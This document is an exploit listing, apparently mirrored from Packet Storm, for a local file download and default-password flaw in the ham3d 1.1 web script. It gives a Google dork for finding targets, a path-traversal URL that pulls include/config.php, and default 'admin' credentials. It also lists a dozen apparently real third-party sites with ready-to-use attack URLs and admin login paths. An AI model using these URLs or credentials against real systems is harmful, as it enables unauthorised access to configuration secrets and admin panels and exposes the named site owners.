Exploit for ham3d 1.1 Information Disclosure / Default Credentials

## https://sploitus.com/exploit?id=PACKETSTORM:154989
/***********************************************************************************  
** Exploit Title: ham3d Information Processing Script Local File  
Download & Default Password Vulnerability  
**  
** Exploit Author: Milad Hacking  
**  
** Vendor Homepage : http://www.ham3d.net/  
**  
** Demo Script Link: http://wensoni.com  
**  
** Version : 1.1  
**  
** Google Dork : inurl:fa/forgotpass.html  
**  
** Date: 2019-10-25  
**  
** Tested on: Kali Linux / lceweasel  
**  
***********************************************************************************  
** Demo :  
  
http://123cookie.ir/ajax.php?download=../include/config.php  
  
http://1q1.ir/ajax.php?download=../include/config.php  
  
http://emitice.ir/ajax.php?download=../include/config.php  
  
http://wensoni.com/ajax.php?download=../include/config.php  
  
http://tiamnetworks.ir/ajax.php?download=../include/config.php  
  
http://assc.ir/ajax.php?download=../include/config.php  
  
User * Password With Login : admin  
  
http://www.5040.ir/report/admin/  
  
http://www.shoaco.com/admin951shoaco/index.php?login  
  
http://quran.kish.ir/admin159357kishetrat2486/?login  
  
http://setareganzamin.com/ADMIN123654789SETAREGANEZAMIN/index.php?login  
  
http://assc.ir/admin/?forgot_password#?login  
  
***********************************************************************************  
** Special thanks to: iliya Norton - Milad Hacking - N3TC4T - Nazila  
Blackhat - Mahsa Black - Azinista  
Mahdi Cocain - Vahid Elmi  
Long Love Ashiyane <3  
***********************************************************************************  
https://tlgm.me/Milad_Hacking  
http://instagram.com/Milad.Hacking  
milad.hacking.blackhat@Gmail.com  
  
***********************************************************************************